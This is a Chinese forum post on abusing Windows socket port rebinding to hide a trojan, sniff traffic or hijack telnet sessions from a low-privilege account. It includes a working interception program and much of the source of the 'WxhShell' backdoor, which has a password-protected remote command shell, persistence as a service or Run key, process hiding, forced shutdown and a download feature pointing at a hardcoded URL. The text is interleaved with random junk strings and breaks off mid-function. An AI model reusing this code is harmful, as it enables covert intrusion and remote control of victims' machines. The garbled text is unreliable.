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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i/Hi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g{a0,B/j  
qzyQ2a_p  
  saddr.sin_family = AF_INET; igQyn|  
=Tj0dfO|"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n_+Iw,a'm  
<St`"H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (HJ60Hj  
Yp;x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,#m\W8j  
x-W0 h  
  这意味着什么?意味着可以进行如下的攻击: C'$U1%: j  
CRf^6k_;(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {M$8V~8D  
lubS{3<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @rdC/=Y[  
fAm2ls7c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lk'RWy"pw  
=Vv{td  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C/$IF M<  
L@ay4,e.bz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >pYgF =J  
/za,&7sf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]Lh\[@#1f  
4q~E\l|.5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &Y&zUfA  
r9U1O@c  
  #include 9PBmBP ~  
  #include a|>MueJ  
  #include }qg!Um0  
  #include    Tld{b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >w'6ZDA*X  
  int main() n#R!`*[  
  { Ea !j-Lbo  
  WORD wVersionRequested; St3~Y{aI|  
  DWORD ret; G@;aqe[dB  
  WSADATA wsaData; p[$I{F*a  
  BOOL val; Z~R i%XG  
  SOCKADDR_IN saddr; O//e0?]W  
  SOCKADDR_IN scaddr; #-`lLI:w0  
  int err; WZr~Pb9  
  SOCKET s; K XGs'D  
  SOCKET sc; c2U>89LlZ  
  int caddsize; yqU++;6  
  HANDLE mt; I@B7uFj  
  DWORD tid;   bM'AD[  
  wVersionRequested = MAKEWORD( 2, 2 ); Ob6vg^#  
  err = WSAStartup( wVersionRequested, &wsaData ); ibq@0CR  
  if ( err != 0 ) { rx"zqm9 }u  
  printf("error!WSAStartup failed!\n"); ~:@H6Ke[  
  return -1; 4j*}|@x  
  } WAEKvM4*i0  
  saddr.sin_family = AF_INET; qRFN@ID$  
   :s5g6TR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O<hHo]jLF  
3,[2-obmi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `#]\Wnp~y  
  saddr.sin_port = htons(23); )0Lq>6j9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2Ar<(v$  
  { zaZnL7ZJX  
  printf("error!socket failed!\n"); RD4)NN6y5}  
  return -1; :U 9R 1^}A  
  } yV8).4  
  val = TRUE; _pS%tPw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0b4O J[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sHF vzE%  
  { Hj!)S&y,$  
  printf("error!setsockopt failed!\n"); D)_Ei'+*l  
  return -1; dd$N4&  
  } {G}HZv%S U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,uv$oP-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yx"z&J9 p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 --9mTqx  
=%3nKSg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _=8+_OEk  
  { T)uw2  
  ret=GetLastError(); ]ok>PH]  
  printf("error!bind failed!\n");  W 6~=?C  
  return -1; c;^J!e  
  } ^Toi_  
  listen(s,2); R+K[/AA  
  while(1) #RF=a7&F  
  { Trrh`@R  
  caddsize = sizeof(scaddr); gy{a+Wbc*  
  //接受连接请求 <}%ir,8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B /W$RcV  
  if(sc!=INVALID_SOCKET) E ( @;p%:  
  { F MVmH!E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oo!g?X[[  
  if(mt==NULL) qo@dFKy  
  { /Uc*7Y5j  
  printf("Thread Creat Failed!\n"); |$PLZ,  
  break; ng*%1;P  
  } =r~. I  
  } &f*dFUM]I  
  CloseHandle(mt); {#,FlR2  
  } ju#6 3  
  closesocket(s); RVfe}4Stm#  
  WSACleanup(); `y`xk<q  
  return 0; L?0l1P  
  }   F(<8:`N;G  
  DWORD WINAPI ClientThread(LPVOID lpParam) />C~a]}  
  { +!v RU`  
  SOCKET ss = (SOCKET)lpParam; M2}<gRL*}J  
  SOCKET sc; ZhsZy wM  
  unsigned char buf[4096]; "b 0cj  
  SOCKADDR_IN saddr; h 6*`V  
  long num; U3}R^W~eb  
  DWORD val; _ ^{Ep/ME=  
  DWORD ret; f[b YjIX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N-gRfra+8L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6<Z: Xw  
  saddr.sin_family = AF_INET; C~qhwwh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {0 ~0  
  saddr.sin_port = htons(23); c*dww  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lQBM0|n  
  { Gq*)]X{U a  
  printf("error!socket failed!\n"); j;)g+9`  
  return -1; iI*7WO[W  
  } ?N*0 S'dY  
  val = 100; QCR-lxO1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +,Az\aT/%  
  { |xVCl<{F%  
  ret = GetLastError(); 86#mmm)  
  return -1;  2JP?6N  
  } KeB4Pae|V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4MJzx9#  
  { (x qA.(F  
  ret = GetLastError(); Jj:6 c  
  return -1; \w^QHX1+  
  } FRFAWK<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) au|^V^m  
  { 9Yyg}l:  
  printf("error!socket connect failed!\n"); Nb~dw;t  
  closesocket(sc); zXZ'nJ5OGG  
  closesocket(ss); [+g@@\X4  
  return -1; wkD:i2E7  
  } ,SF.@^o@a  
  while(1) Eap/7U1Q  
  { y.p6%E_`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fm%RNAPvc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7 Zt\G-QV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 abeSkWUL(  
  num = recv(ss,buf,4096,0); -j_I_  
  if(num>0) NRisr  
  send(sc,buf,num,0); X5Y `(/V  
  else if(num==0) OZD!#YI  
  break; zpqGh  
  num = recv(sc,buf,4096,0); )7GLS\uf<%  
  if(num>0) WEtA4zCO  
  send(ss,buf,num,0); 8e!DDh  
  else if(num==0) pYl{:uIPN8  
  break; ;9 ,mV(w  
  } HhmVV"g  
  closesocket(ss); vt@Us\fI  
  closesocket(sc); `t0f L\T  
  return 0 ; Q)`gPX3F  
  } uxyTu2L7  
H'{?aaK|t  
[!@oRK=~  
========================================================== :z.Y$]F@  
drKjLo[y  
下边附上一个代码,,WXhSHELL M J,ZXJXs  
xs!g{~V{  
========================================================== K3:|Tc(  
T_?nd T2  
#include "stdafx.h" QZ3(u<f  
HDVl5X`j'  
#include <stdio.h> fu<2t$Cn>  
#include <string.h> `E5"Pmg  
#include <windows.h> ej%;%`C-  
#include <winsock2.h> ^ Wfgwmh  
#include <winsvc.h> IT`=\K/[4  
#include <urlmon.h> kt{C7qpD  
ZQ~myqx,+L  
#pragma comment (lib, "Ws2_32.lib") [W$Z60?RR  
#pragma comment (lib, "urlmon.lib") Hp}  
U`8 |9v  
#define MAX_USER   100 // 最大客户端连接数 G4Kmt98I  
#define BUF_SOCK   200 // sock buffer D2</^]3Su  
#define KEY_BUFF   255 // 输入 buffer +Y)#yGUn  
i*CQor6|z  
#define REBOOT     0   // 重启 F|l`YtZZd  
#define SHUTDOWN   1   // 关机 =6L*!JP<  
`{U%[$<[W  
#define DEF_PORT   5000 // 监听端口 wD ],{y  
nS+FX& _  
#define REG_LEN     16   // 注册表键长度 #M?F^u[  
#define SVC_LEN     80   // NT服务名长度 Ah>gC!F^  
o}MzqKfu  
// 从dll定义API Sf&?3a+f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jD/7/G*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XDkS ^9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M6]0Y@@>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 W;?8Z_1  
bugFl>  
// wxhshell配置信息 L; q)8Pb  
struct WSCFG { :%#r.p"6x  
  int ws_port;         // 监听端口 W 9Vz[  
  char ws_passstr[REG_LEN]; // 口令 *el(+ib%  
  int ws_autoins;       // 安装标记, 1=yes 0=no yYToiW *  
  char ws_regname[REG_LEN]; // 注册表键名 n<?SZ^X{,/  
  char ws_svcname[REG_LEN]; // 服务名 T+WZE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5BHOHw D{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dGsS<@G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3G%wZ,)C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |'c4er/;#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Z Rkn+;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e(~'pk"mZ  
1a&/Zlr  
}; Er"R;l]xJ  
LgP>u?]n  
// default Wxhshell configuration Qq T/1^imS  
struct WSCFG wscfg={DEF_PORT, kqD*TJA  
    "xuhuanlingzhe", cXS;z.M\_  
    1, 0AK?{y U  
    "Wxhshell", jQ_dw\ {0  
    "Wxhshell", l*K I  
            "WxhShell Service", O xT}I  
    "Wrsky Windows CmdShell Service", mN\%f J7  
    "Please Input Your Password: ", K lli$40  
  1, T2DF'f3A  
  "http://www.wrsky.com/wxhshell.exe", Yz=h"Zr  
  "Wxhshell.exe" JFRpsv  
    }; - J"qrpZ^  
QSHJmk 6L  
// 消息定义模块 N^ h |h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '7Mep ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t/KcXM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &@YFje6Lcm  
char *msg_ws_ext="\n\rExit."; n .f4z<  
char *msg_ws_end="\n\rQuit."; B;z;vrrL  
char *msg_ws_boot="\n\rReboot..."; O`i)?BC  
char *msg_ws_poff="\n\rShutdown..."; X!o[RJY  
char *msg_ws_down="\n\rSave to "; _BG8/"h32  
7q%|4Z-~  
char *msg_ws_err="\n\rErr!"; (;0$i?3\  
char *msg_ws_ok="\n\rOK!"; qr)v'aC3  
<.,RBo  
char ExeFile[MAX_PATH]; 1l/AKI(!  
int nUser = 0; 4>4V-m\  
HANDLE handles[MAX_USER]; W/ g|{t[  
int OsIsNt; e9CP802#2  
m$fQ`XzU  
SERVICE_STATUS       serviceStatus; h@*lWi2K7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qDnCn H  
*.," N}  
// 函数声明 O87"[c`>  
int Install(void); 5vD3K! \u  
int Uninstall(void); J| SwQE~  
int DownloadFile(char *sURL, SOCKET wsh); 6OL41g'  
int Boot(int flag); lSH ZV Fd  
void HideProc(void); (U|)xA]y!  
int GetOsVer(void); XC|*A$x,  
int Wxhshell(SOCKET wsl); )v%l0_z{  
void TalkWithClient(void *cs); F:M>z=  
int CmdShell(SOCKET sock); 6xH;: B)d  
int StartFromService(void); fy&#M3UA\U  
int StartWxhshell(LPSTR lpCmdLine); &Nc[$H7<  
)@}A r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fL!V$]HNt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,~(|p`  
QVIcb ;&:}  
// 数据结构和表定义 lijB#1<8*  
SERVICE_TABLE_ENTRY DispatchTable[] = tNK^z7Dm  
{ oW0gU?Rr)u  
{wscfg.ws_svcname, NTServiceMain}, Q  |  
{NULL, NULL} ,{k<JA {  
}; ~?#~Ar  
m</]D WJ  
// 自我安装 }>2t&+v+  
int Install(void) gaQ[3g  
{ Hx$.9'Oq\Q  
  char svExeFile[MAX_PATH]; bqSMDK  
  HKEY key; JXH",""bq  
  strcpy(svExeFile,ExeFile); glv ;C/l  
?4^} ;wDb2  
// 如果是win9x系统,修改注册表设为自启动 pe|X@o  
if(!OsIsNt) { 'gCJ[ce  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gs?8Wzh90*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4~!Eje!  
  RegCloseKey(key); LU%#mY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c$9sF@K?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d] U`?A,  
  RegCloseKey(key); ~?gzq~~t  
  return 0; 6`acg'sk>  
    } o`idg[l.  
  } (Aorx #z  
} a$d:_,\ "  
else { G.E[6G3  
aX|g S\zx  
// 如果是NT以上系统,安装为系统服务 Y?<)Dg.[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gb;99mE  
if (schSCManager!=0) z&O#v9.NE|  
{ elu=9d];@  
  SC_HANDLE schService = CreateService )1WMlG  
  ( ".gNeY6)x  
  schSCManager, 4Rx~s7l  
  wscfg.ws_svcname, 13H;p[$  
  wscfg.ws_svcdisp, <PX.l%  
  SERVICE_ALL_ACCESS, Hb+X}7c$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E Zi&]  
  SERVICE_AUTO_START, G~"z_ (  
  SERVICE_ERROR_NORMAL, u$C\E<G^  
  svExeFile, Oukd_Ryf   
  NULL, :$NsR*Cq*9  
  NULL, GQb i$kl  
  NULL, V\0E=M*P  
  NULL, I!P4(3skAB  
  NULL 8) HBh7/  
  ); c&E]E(  
  if (schService!=0) 2`EVdl7B]  
  { Xx_tpC?  
  CloseServiceHandle(schService); A_Rrcsl4  
  CloseServiceHandle(schSCManager); tAERbiH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '3^Q14`R  
  strcat(svExeFile,wscfg.ws_svcname); k@yh+v5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,]ga[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =NadAyv  
  RegCloseKey(key); D93gH1z  
  return 0; =J](.78  
    } gljo;f:  
  } w8p8 ;@  
  CloseServiceHandle(schSCManager); GF*>~_Yr  
} :5J_5,?;`  
} p}uncIod  
pr_>b`p6  
return 1; /'ZKST4  
} ow/U   
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// 自我卸载 V C-d0E0  
int Uninstall(void) =>qTNh*'  
{ Us]=Y}(  
  HKEY key; M diw Ri  
b?8)7.{F{  
if(!OsIsNt) { 4ZwKpQ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \w%@?Qik  
  RegDeleteValue(key,wscfg.ws_regname); "N 3)Qr  
  RegCloseKey(key); <`)iA-Df;9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L_Q S0_1  
  RegDeleteValue(key,wscfg.ws_regname); (!3;X"l  
  RegCloseKey(key); Hkege5{  
  return 0; ?F_)-  
  } H]&gW/=  
} Or8kp/d  
} b5<okICD  
else { 22&;jpL'?  
$5NKFJc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); py @( <  
if (schSCManager!=0) l(!/Q|Q|  
{ <F(><Xw,-4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! \sMR  
  if (schService!=0) wksl0:BL  
  { :QPf~\w?  
  if(DeleteService(schService)!=0) { 19W:-Om  
  CloseServiceHandle(schService); Y]Vq\]m\  
  CloseServiceHandle(schSCManager); BRzfic :e  
  return 0; `XJm=/f  
  } "j^MB)YD  
  CloseServiceHandle(schService); ]A^4}CK^<  
  } "hQgLG  
  CloseServiceHandle(schSCManager); ^nNitF  
} T]9m:z X9s  
} ((bTwx  
O$D?A2eI  
return 1; ;SY\U7B\  
} aJzLrX  
cE\>f8 I  
// 从指定url下载文件 -DjJ",h( $  
int DownloadFile(char *sURL, SOCKET wsh) mV)+qXC  
{ pr&=n;_ n  
  HRESULT hr; /<{:I \<  
char seps[]= "/"; Dd,2;#_  
char *token; 5)UQWnd5  
char *file; `XKVr  
char myURL[MAX_PATH]; QI_4*  
char myFILE[MAX_PATH]; ) #+^ sAO  
l63hLz  
strcpy(myURL,sURL); _las;S'oa  
  token=strtok(myURL,seps); Ln!A:dP}c-  
  while(token!=NULL) [9o4hw  
  { G^;>8r  
    file=token; KOh A)  
  token=strtok(NULL,seps); fuMJdAuY7d  
  } Pw[g  
!)pdamdA  
GetCurrentDirectory(MAX_PATH,myFILE); O9"/ kmB  
strcat(myFILE, "\\"); k~.&j"K  
strcat(myFILE, file); [{ ~TcT  
  send(wsh,myFILE,strlen(myFILE),0); 'e!J06  
send(wsh,"...",3,0); ; )Eo7?]-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F_H82BE+3  
  if(hr==S_OK) 4(8xjL:  
return 0; +&i +Mpb  
else yZ kyC'/  
return 1; S/tIwG ~e3  
Ig6T g ?  
} :j^FJ@2_  
x@KZ ]  
// 系统电源模块 i'#Gy,R  
int Boot(int flag) 4 %W:  
{ )]htm&q5  
  HANDLE hToken; OLC{iD#  
  TOKEN_PRIVILEGES tkp; .(CP. d  
/i]y$^  
  if(OsIsNt) { 8}s.Fg@tE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qf$|_&|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x@Hd^xH`  
    tkp.PrivilegeCount = 1; .2) =vf'd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 04U")-\O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y>+y(ck  
if(flag==REBOOT) { N!2Rl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U#&7p)4(  
  return 0; Ch \&GzQ  
} m3<+yz$!r  
else { YXo|~p;=Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {0"YOS`3AX  
  return 0; ^-z=`>SrS"  
} W ~f(::  
  } H<EQu|f&x  
  else { k%]=!5F  
if(flag==REBOOT) { GL{57  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /3B $(  
  return 0; re?s.djT  
} ~{,X3-S_H  
else { ig}A9j?]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \p{5D`HY  
  return 0; e]=lKxFh&l  
} a ^d8I  
} : j }fC8'  
zOgTQs"ZH  
return 1; 03E4cYxt5  
} uvP2Wgt  
YjOs}TD lx  
// win9x进程隐藏模块 ' Z0r>.  
void HideProc(void) jw<pK4?y  
{ 29CINC  
/zDi9W*~1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }v:jncp  
  if ( hKernel != NULL ) %wcSM~w  
  { Ig]iT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kVK/9dy-F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OCZaQ33  
    FreeLibrary(hKernel); Suk  
  } Sf5X3,Uw  
p~ HW5\4  
return; evkH05+;W  
} Tou/5?# %e  
]$b[` g&  
// 获取操作系统版本 b306&ZVEk  
int GetOsVer(void) 6`vC1PK^  
{ M" ^PW,k  
  OSVERSIONINFO winfo; ./Q,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %NL^WG:  
  GetVersionEx(&winfo); ; bHV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^j-3av=  
  return 1; EF3Cdu{]P  
  else $/!{OU.t`  
  return 0; H"ZZ.^"5FV  
} ;22oY>w  
m3Il3ZY.  
// 客户端句柄模块 @2'Mt}R>  
int Wxhshell(SOCKET wsl) 2{|h8oz  
{ L_=3<n E  
  SOCKET wsh; 3bnS W5  
  struct sockaddr_in client; 0d8%T<=J  
  DWORD myID; GFr|E8  
u#}[ZoI  
  while(nUser<MAX_USER) x#Sqn#  
{ F 8B#}%JE  
  int nSize=sizeof(client); ( Jz;W<E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pPd#N'\*  
  if(wsh==INVALID_SOCKET) return 1; 9]q:[zm^  
yR(x+ Gs{]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T)r9-wOq  
if(handles[nUser]==0)  Yn8=  
  closesocket(wsh); C z\Ppq  
else t%F0:SH  
  nUser++; )iFJz/n>  
  } /cU<hApK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Um&(&?Xf  
J9~ g|5  
  return 0; HRB<Y mP@  
} " Hd|7F'u=  
Y nLErJ  
// 关闭 socket \hCH>*x<  
void CloseIt(SOCKET wsh) {%_L=2n6  
{ "etPT@gF  
closesocket(wsh); j~*L~7  
nUser--; 8#vc(04(  
ExitThread(0); / X1 x  
} _a1x\,R|DB  
)"pF R4  
// 客户端请求句柄 uu`G 2[t  
void TalkWithClient(void *cs) S~|T4q(  
{ @')[FEdW  
>$4d7.^hb/  
  SOCKET wsh=(SOCKET)cs; !"Oh3 6  
  char pwd[SVC_LEN]; :0h_K  
  char cmd[KEY_BUFF]; G37U6PuZi  
char chr[1]; '3uVkp 6tF  
int i,j; 8 @tV9+u  
kh`"WN Nt  
  while (nUser < MAX_USER) { 6i}iAP|0  
s_mS^`P7  
if(wscfg.ws_passstr) { jYKor7KTqT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cg(Y&Gxf.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X 7rMeu  
  //ZeroMemory(pwd,KEY_BUFF); uC cYPvm  
      i=0; SJHr_bawd  
  while(i<SVC_LEN) { L*:jXmUM_~  
aTt 12Sc  
  // 设置超时 '*3h!lW1.  
  fd_set FdRead; kBffF@{  
  struct timeval TimeOut; j:VbrR  
  FD_ZERO(&FdRead); b9l;a+]d  
  FD_SET(wsh,&FdRead); OLE[UXD-E  
  TimeOut.tv_sec=8; k?,1x~  
  TimeOut.tv_usec=0; jbAx;Xt'=M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OynXkH]0T+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <[-nF"Q  
pS:4CNI{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o,)?!{k}  
  pwd=chr[0]; <*qnY7c&N;  
  if(chr[0]==0xd || chr[0]==0xa) { #?S^kM-0  
  pwd=0; B8}Nvz /  
  break; %rv7Jy   
  } t;}:waZD  
  i++; `7r@a  
    } maNl^i  
3eF -8Z(f  
  // 如果是非法用户,关闭 socket sc}~8T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <_-hRbS  
} X<I+&Zi  
X"fb;sGT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5;YMqUkw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ck) * &  
s6@DGSJ  
while(1) { ATK_DE Au  
6}FP  
  ZeroMemory(cmd,KEY_BUFF); Jt}Bpg!J  
32`{7a3!=  
      // 自动支持客户端 telnet标准    z62;cv  
  j=0; j3{D^|0bP  
  while(j<KEY_BUFF) { yjF1}SQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Mg=b%IYs  
  cmd[j]=chr[0]; ci?qT,&  
  if(chr[0]==0xa || chr[0]==0xd) { 0|{u{w@!`  
  cmd[j]=0;  @fl-3q  
  break; ~ Q.7VDz  
  } xwq+j "  
  j++; =ACVE;L?  
    } 24z< gO  
& tg&5_  
  // 下载文件 zN^n]N_?  
  if(strstr(cmd,"http://")) { +nJgl8'^y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2h5nMI]'  
  if(DownloadFile(cmd,wsh)) +lHjC$   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%E!o0+8Z  
  else sTn<#l6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hHV";bk  
  } ,[P{HrHx  
  else { hpO`]  
[PNT\ElT  
    switch(cmd[0]) { ?#}N1k\S  
  =A83W/4  
  // 帮助 pHLB= r  
  case '?': { BRgXr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JvVWG'Z"  
    break; cj$[E]B3V*  
  } UG+d-&~Ll  
  // 安装 5kCUaPu  
  case 'i': { v|dBSX9k0  
    if(Install()) 6WXRP;!Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CxwoBuG=?  
    else H9YW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y^$X*U/q%U  
    break; Y 0d<~*  
    } t gI{`jS%  
  // 卸载 TFlet"ge=  
  case 'r': { j+$rj  
    if(Uninstall()) wl#@lOv-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (|klSz_4LM  
    else 9\_eK,*B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;$.J3!  
    break; Egg=yF>T  
    } m qMHL2~  
  // 显示 wxhshell 所在路径 A%KDiIA  
  case 'p': { CDQW !XHc  
    char svExeFile[MAX_PATH]; =8AO:  
    strcpy(svExeFile,"\n\r"); Azl&mu  
      strcat(svExeFile,ExeFile); n"G&ENN"$  
        send(wsh,svExeFile,strlen(svExeFile),0); }`% *W`9b  
    break; J&W)(Cf  
    } 3@dL /x4A  
  // 重启 v0z5j6)-1  
  case 'b': { vHry&#Pl+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J;.wXS_U8  
    if(Boot(REBOOT)) 4|riKo)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8$20Ue  
    else { .F   
    closesocket(wsh); "{@A5A  
    ExitThread(0); 9K{%vK  
    } 47+&L   
    break; JtYP E?  
    } IzikDc10  
  // 关机 )dbB =OZ  
  case 'd': { a{^m-fSaR"  
